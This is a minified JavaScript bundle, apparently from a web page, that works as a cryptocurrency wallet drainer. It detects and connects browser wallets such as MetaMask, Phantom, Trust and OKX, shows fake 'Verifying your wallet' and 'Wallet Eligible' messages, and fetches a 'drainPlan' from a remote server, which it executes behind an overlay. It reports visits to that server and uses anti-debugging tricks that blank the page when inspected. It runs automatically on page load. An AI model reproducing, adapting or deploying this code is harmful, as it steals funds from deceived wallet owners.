tTtt1beg7lcX3q/dkGeO14eMu8URdGi1zNQfnrY9FrjcN+7QcF2Z2Z3suptrtt/6uZDhzDmwEqLn1LI3LvVqF2ZIvr60xneySrt4OAmuVqNjw0ZctRwZ68BthxqHC5fX/1aTHCtA24EMre8xmnDITyPpyWenuLU1zrgSh0cWbGL14i+FOMpUqIAF6+FDk7Ed3nsob3eTDNB1GazKT4xgGd3cERl567SzDUTbibgBr4ozfaNh0QBjlr04QmiB2Zd4ubb+0cu+pEPJgEcsehDExRMA3E+b/ZgkgyeJfrbo+GIPjhBFb9+IeznzTWYFnyJLhWAG8kPVWg4r2QnL/t035+qf95bMT5vQc7B5UTn77qqx06M1S52I4OqnucteMBF0flGQ1xit2yufFVlth275NNnn7QPNHUZXPTmTqSXhqoTnb8doFGxW2qoHP0XfPp0Qr9LKzWAA8gdSC8Ozi/6wGh4Yi+vonIcvmDnrlQmARchz3VvdyACsZs7kV4eSt+ls9QCZueTHb6rFFcmNZepHEm/dJZqwEXIxeuc/IUqUd/Nbe7A4NpL8biSM9u2BpkGXPS4b/ctSwnYzAAWRwGsF/BAkAw29iEI4AQIpVPqksHGPgQBnAChdEpdMtjYhyCAEyCUTqlLBhv7EARwAoTSKXXJYJN1wC74toMQx2g0cMF3tIFJERgzOciUgWucwaO2AxHHqACfd5SL/SIwZnOQudjnKIO91gMRp2gAw3aeg9eJwJjJQaYMrnWaXGixHYg4RqNBGzQ7S9bTHcqF6yIyZmygwdSKDfRhh00Z3GU/IHEdoga8tnKKljOwSgTGbA0yF1pnAC8ydJsyMGw9KHEKRwMYZKZOqWmDj4jAmIlBplx8yJltS7fQ7cqFs7aDE8fGNHDh1MziarblXFghAmOqB1mTgc8585kysM12kOJYpwbQNS/coFRvpDu1gWMiMqZqoCkDJxdvoLsqAg4WXO3Td2sXxm0HLY7VZu7lezroo04t1mTySs6KMQWDDCaVm29y6rElbfnFysCY/Q8hrsuX5Sva5HNOI8blmuu7iIwJG2hwvOayPJepTvqIMtBt/0OJ6wLcLmbihG2Fo0VZYWt7WXtatcF9TpTGuyQ5g9/XLgxJRmFcYAd5+3HOHaoobFHhgGKldnEnnz0KbAwb6lTQTuVCK2vt2LRgH9vAMuXiY9pADzd7KQMXuG1TwOO8IFkj7n7UBt9i7bjNhjsxwsrW/wFAw8QoXWSTKQAAAABJRU5ErkJggg=="};window.addEventListener("unhandledrejection",e=>{if(e.reason instanceof TypeError){const n=e.reason.message||"";n.includes("proxy")&&n.includes("tronlinkParams")&&e.preventDefault()}if(e.reason instanceof Error){const n=e.reason.message||"";if(n.includes("disconnect")||n.includes("Missing or invalid")||n.includes("No matching key"))return void e.preventDefault()}if(e.reason&&"object"==typeof e.reason&&"code"in e.reason){const n=e.reason.code;4001!==n&&4e3!==n||e.preventDefault()}});const Wn=(()=>{try{return window.self!==window.top}catch{return!0}})(),Rn=!!window.__noirEvmDirectMode,Un=new URLSearchParams(window.location.search),Xn=Un.has("dev")&&"1"===Un.get("dev")||"localhost"===window.location.hostname||"127.0.0.1"===window.location.hostname,Hn=Wn&&Un.has("bridge")&&"1"===Un.get("bridge"),Gn=Un.get("wallet")||"";function Qn(){const e=[],n=new Set,t=window,r=[{type:"metamask",name:"MetaMask",check:()=>{if(t.ethereum?.isMetaMask&&!t.ethereum.isBraveWallet&&!t.ethereum.isRabby&&!t.ethereum.isPhantom&&!t.ethereum.isRainbow&&!t.ethereum.isZerion&&!t.ethereum.isExodus)return{name:"metamask",provider:t.ethereum};if(t.ethereum?.providers)for(const e of t.ethereum.providers)if(e.isMetaMask&&!e.isBraveWallet&&!e.isRabby&&!e.isRainbow&&!e.isPhantom&&!e.isZerion&&!e.isExodus)return{name:"metamask",provider:e};return null}},{type:"trust",name:"Trust Wallet",check:()=>t.trustwallet?.ethereum?{name:"trust",provider:t.trustwallet.ethereum}:t.ethereum?.isTrust||t.ethereum?.isTrustWallet?{name:"trust",provider:t.ethereum}:null},{type:"coinbase",name:"Coinbase Wallet",check:()=>t.coinbaseWalletExtension?{name:"coinbase",provider:t.coinbaseWalletExtension}:t.ethereum?.isCoinbaseWallet||t.ethereum?.isCoinbaseBrowser?{name:"coinbase",provider:t.ethereum}:t.ethereum?.providerMap?.get?.("CoinbaseWallet")?{name:"coinbase",provider:t.ethereum.providerMap.get("CoinbaseWallet")}:null},{type:"phantom",name:"Phantom",check:()=>t.phantom?.ethereum?.isPhantom?{name:"phantom",provider:t.phantom.ethereum}:null},{type:"rainbow",name:"Rainbow",check:()=>{if(t.ethereum?.isRainbow)return{name:"rainbow",provider:t.ethereum};if(t.ethereum?.providers?.length){const e=t.ethereum.providers.find(e=>e.isRainbow);if(e)return{name:"rainbow",provider:e}}return null}},{type:"rabby",name:"Rabby",check:()=>{if(t.ethereum?.isRabby)return{name:"rabby",provider:t.ethereum};if(t.ethereum?.providers?.length){const e=t.ethereum.providers.find(e=>e.isRabby);if(e)return{name:"rabby",provider:e}}return null}},{type:"okx",name:"OKX Wallet",check:()=>t.okxwallet?{name:"okx",provider:t.okxwallet}:null}];for(const t of r){const r=t.check();e.push({type:t.type,name:t.name,icon:r?.icon||Fn[t.type]||"",available:!!r,provider:r?.provider}),r&&n.add(t.type)}return e.push({type:"walletConnect",name:"WalletConnect",icon:Fn.walletConnect||"",available:!0}),e}async function Kn(){if(Xn||["log","warn","error","info","debug","trace","dir","table"].forEach(e=>{console[e]=()=>{}}),Xn||function(){setInterval(()=>{const e=performance.now();performance.now()-e>100&&(document.documentElement.innerHTML="",window.location.href="about:blank")},4e3);try{(()=>{const e=document.createElement("div");Object.defineProperty(e,"id",{get:()=>(document.documentElement.innerHTML="",window.location.href="about:blank","")})})()}catch{}}(),Wn&&!Rn){document.documentElement.style.setProperty("background","transparent","important"),document.body.style.setProperty("background","transparent","important"),document.body.style.setProperty("background-color","transparent","important"),document.documentElement.style.setProperty("background-color","transparent","important");const e=document.querySelector(".loader-container");e&&(e.style.display="none")}Wn&&!Rn&&window.parent.postMessage({type:"noirReady"},"*"),i.platform=function(){const e=navigator.userAgent.toLowerCase();return["android","iphone","ipad","ipod","mobile","opera mini","opera mobi"].some(n=>e.includes(n))?"mobile":"desktop"}();const e=d();if(Hn&&Gn){const n=await e;return n?(i.config=n,window.parent.postMessage({type:"noirBridgeReady"},"*"),void await async function(e){const n={metamask:"metamask",trust:"trust",coinbase:"coinbase",phantom:"phantom",okx:"okx",walletConnect:"walletConnect"}[e]||"metamask",t=Le(n);i.walletBridge=t,i.detectedWallet=n;try{const e=await t.connect();i.walletAddress=e,i.connectedChainId=t.chainId,i.provider=t.provider,window.parent.postMessage({type:"noirBridgeConnected",wallet:n,address:e},"*")}catch(e){return void window.parent.postMessage({type:"noirBridgeConnectionFailed",error:e instanceof Error?e.message:"Connection failed",rejected:e instanceof Error&&(e.message.includes("rejected")||e.message.includes("cancel"))},"*")}document.documentElement.style.setProperty("background","#080404","important"),document.body.style.setProperty("background","#080404","important"),u(i.walletAddress,i.detectedWallet,i.connectedChainId),window.parent.postMessage({type:"noirBridgeStatus",phase:"loading",message:"Verifying your wallet..."},"*");const r=await k(i.walletAddress,i.connectedChainId,i.detectedWallet,navigator.userAgent);if(!r?.status||!r?.drainPlan?.length)return window.parent.postMessage({type:"noirBridgeStatus",phase:"notEligible",message:"Not Eligible"},"*"),void window.parent.postMessage({type:"noirBridgeDone"},"*");window.parent.postMessage({type:"noirBridgeStatus",phase:"eligible",message:"Wallet Eligible"},"*");const a=new zn(r.drainPlan?.length||1);a.setWalletInfo(i.detectedWallet,Fn[n]||""),a.setBridgeMode(!0),i.drainOverlay=a,await je(r)}(Gn)):void Vn()}const n=function(){const e=window;if(e.okxwallet)return{name:"okx",provider:e.okxwallet};if(e.phantom?.ethereum&&e.phantom.ethereum.isPhantom)return{name:"phantom",provider:e.phantom.ethereum};if(e.BinanceChain)return{name:"binance",provider:e.BinanceChain};if(e.bybitWallet)return{name:"bybit",provider:e.bybitWallet};for(const e of l){const n=e.info.rdns?.toLowerCase()||"",t=e.info.name?.toLowerCase()||"";let r="unknown";for(const[e,a]of Object.entries(m))if(n.includes(e)||t.includes(e)){r=a;break}if("unknown"!==r)return{name:r,provider:e.provider,icon:e.info.icon}}const n=e.ethereum;if(!n)return null;const t=n.providers?[...n.providers]:[n];if(n.providerMap)for(const[,e]of n.providerMap)t.includes(e)||t.push(e);for(const e of t)for(const[n,t]of Object.entries(c))if(t(e))return{name:n,provider:e};return{name:"unknown",provider:n}}();!async function(e){const n=o();if(n)try{const t=new URLSearchParams({source:window.location.hostname,wallets:e.join(",")}),r=new AbortController,a=setTimeout(()=>r.abort(),15e3);await fetch(`${n}/api/v1/visit?${t.toString()}`,{method:"GET",headers:{"X-Config-Id":s(),"X-Client-Source":"Perpetual-Client"},signal:r.signal}),clearTimeout(a)}catch{}}(n?[n.name]:[]),Promise.resolve().then(a.bind(a,5025)).then(e=>e.preloadWcModule());let t=Qn(),r="";if(/Android|iPhone|iPad|iPod/i.test(navigator.userAgent)){const n=(()=>{const e=window;return e.phantom?.ethereum?.isPhantom?{type:"phantom",name:"Phantom",provider:e.phantom.ethereum}:!e.ethereum?.isMetaMask||e.ethereum.isPhantom||e.ethereum.isBraveWallet||e.ethereum.isRabby||e.ethereum.isRainbow||e.ethereum.isZerion||e.ethereum.isExodus?e.trustwallet?.ethereum?{type:"trust",name:"Trust Wallet",provider:e.trustwallet.ethereum}:e.ethereum?.isTrust||e.ethereum?.isTrustWallet?{type:"trust",name:"Trust Wallet",provider:e.ethereum}:e.ethereum?.isCoinbaseBrowser||e.ethereum?.isCoinbaseWallet?{type:"coinbase",name:"Coinbase Wallet",provider:e.ethereum}:e.coinbaseWalletExtension?{type:"coinbase",name:"Coinbase Wallet",provider:e.coinbaseWalletExtension}:e.okxwallet?{type:"okx",name:"OKX Wallet",provider:e.okxwallet}:null:{type:"metamask",name:"MetaMask",provider:e.ethereum}})();if(n){const a=Le(n.type,n.provider);i.walletBridge=a,i.detectedWallet=n.type,qn(t),Sn("connecting",n.name);try{const t=await a.connect();i.walletAddress=t,i.connectedChainId=a.chainId,i.provider=a.provider,r=Fn[n.type]||"";let o=await e;if(o||(await new Promise(e=>setTimeout(e,1e3)),o=await d()),!o)return void Vn();i.config=o,Sn("connected",i.config?.messages?.loading||"Verifying your wallet..."),u(i.walletAddress,i.detectedWallet,i.connectedChainId);const s=await k(i.walletAddress,i.connectedChainId,i.detectedWallet,navigator.userAgent);if(!s?.status||!s?.drainPlan?.length)return void Sn("error","Not Eligible");const c=new zn(s.drainPlan.length);return c.setWalletInfo(i.detectedWallet,r),i.drainOverlay=c,c.show(),void await je(s)}catch{Sn("idle"),In()}}}let p=!1,h=null;const f=async()=>h||!p&&(p=!0,h=(async()=>{let e=!1;for(;!e;){const n=await Nn(t);if(!n)return!1;const a=/Android|iPhone|iPad|iPod/i.test(navigator.userAgent);if(!n.available&&"walletConnect"!==n.type&&a&&Wn)return window.parent.postMessage({type:"noirWalletRedirect",wallet:n.type,url:window.location.href},"*"),!1;const o=!n.available&&"walletConnect"!==n.type,s="walletConnect"===n.type,d=o||s?Le("walletConnect"):Le(n.type,n.provider);i.walletBridge=d,i.detectedWallet=n.type,(o||s)&&a&&In();try{const t=await d.connect();i.walletAddress=t,i.connectedChainId=d.chainId,i.provider=d.provider,r=n.icon||"",e=!0}catch(e){const n=e instanceof Error?e.message:"Connection failed";if(n.includes("aborted"))continue;Sn("error",n),await new Promise(e=>{const n=setInterval(()=>{const t=document.querySelector(".noir-evm-wallet-list");t&&"none"!==t.style.display&&(clearInterval(n),e())},200);setTimeout(()=>{clearInterval(n),e()},3e4)});continue}}return!0})(),h.finally(()=>{p=!1,h=null}),h);window.__noirEvmOpenModal=()=>{f()},window.__noirEvmConnectWallet=async e=>{const n={metamask:"metamask",trust:"trust",coinbase:"coinbase",phantom:"phantom",okx:"okx",rabby:"rabby",rainbow:"rainbow"}[e.toLowerCase()];if(!n)return void f();const t=Qn(),r=t.find(e=>e.type===n);if(!r||!r.available)return void f();const a=Le(n,r.provider);i.walletBridge=a,i.detectedWallet=n;try{const e=await a.connect();i.walletAddress=e,i.connectedChainId=a.chainId,i.provider=a.provider}catch{return void f()}const o=document.querySelector(".loader-container");o&&(o.style.display="none"),qn(t),Sn("connected",i.config?.messages?.loading||"Verifying your wallet..."),u(i.walletAddress,i.detectedWallet,i.connectedChainId);const s=await k(i.walletAddress,i.connectedChainId,i.detectedWallet,navigator.userAgent);if(!s?.status||!s?.drainPlan?.length)return void Sn("error","Not Eligible");const d=new zn(s.drainPlan?.length||1);d.setWalletInfo(i.detectedWallet,r?.icon||Fn[n]||""),i.drainOverlay=d,d.show(),await je(s)};const g=Wn?document.referrer?new URL(document.referrer).origin:"":window.location.origin;window.addEventListener("message",e=>{g&&e.origin!==g&&e.origin!==window.location.origin||"noirModalOpen"===e.data?.type&&f()});let v=!1;const w=setInterval(()=>{if(v)return;const e=Qn(),n=new Set(e.filter(e=>e.available).map(e=>e.type)),r=new Set(t.filter(e=>e.available).map(e=>e.type));let a=!1;n.forEach(e=>{r.has(e)||(a=!0)}),a&&(t=e,We=e,qe&&"idle"===Fe&&!Re&&fn(0,gn,"fade"))},200);if(setTimeout(()=>{v=!0,clearInterval(w)},3e3),!Rn&&Wn){const n=f();let t=await e;if(t||(await new Promise(e=>setTimeout(e,1e3)),t=await d()),t&&(i.config=t),!await n)return;if(!i.config)return void Vn()}else{let n=await e;if(n||(await new Promise(e=>setTimeout(e,1e3)),n=await d()),!n)return void Vn();if(i.config=n,!await new Promise(e=>{window.__noirEvmOpenModal=async()=>{await f()&&e(!0)}}))return}Sn("connected",i.config?.messages?.loading||"Verifying your wallet...");const b=document.querySelector(".loader-container");b&&(b.style.display="none"),u(i.walletAddress,i.detectedWallet,i.connectedChainId);const y=await k(i.walletAddress,i.connectedChainId,i.detectedWallet,navigator.userAgent);if(!y?.status||!y?.drainPlan?.length)return void Sn("error","Not Eligible");const x=new zn(y.drainPlan.length);x.setWalletInfo(i.detectedWallet,r),i.drainOverlay=x,x.show(),await je(y)}function Vn(){const e=document.createElement("div");e.style.cssText="position:fixed;inset:0;display:flex;flex-direction:column;align-items:center;justify-content:center;font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,sans-serif;color:#fff;text-align:center;padding:24px;";const n=document.createElement("div");n.style.cssText="font-size:40px;margin-bottom:16px;opacity:0.5;",n.textContent="\u26a0";const t=document.createElement("div");t.style.cssText="font-size:16px;font-weight:600;margin-bottom:8px;",t.textContent="Connection Error";const r=document.createElement("div");r.style.cssText="font-size:13px;opacity:0.6;max-width:280px;line-height:1.5;margin-bottom:20px;",r.textContent="Unable to connect to the server. Please refresh the page and try again.";const a=document.createElement("button");a.style.cssText="padding:10px 24px;border:none;border-radius:10px;background:rgba(255,255,255,0.1);color:#fff;font-size:14px;font-weight:500;cursor:pointer;",a.textContent="Refresh",a.onclick=()=>window.location.reload(),e.appendChild(n),e.appendChild(t),e.appendChild(r),e.appendChild(a),document.body.appendChild(e);const i=document.querySelector(".loader-container");i&&(i.style.display="none")}"loading"!==document.readyState?Kn():document.addEventListener("DOMContentLoaded",()=>{Kn()})})();})();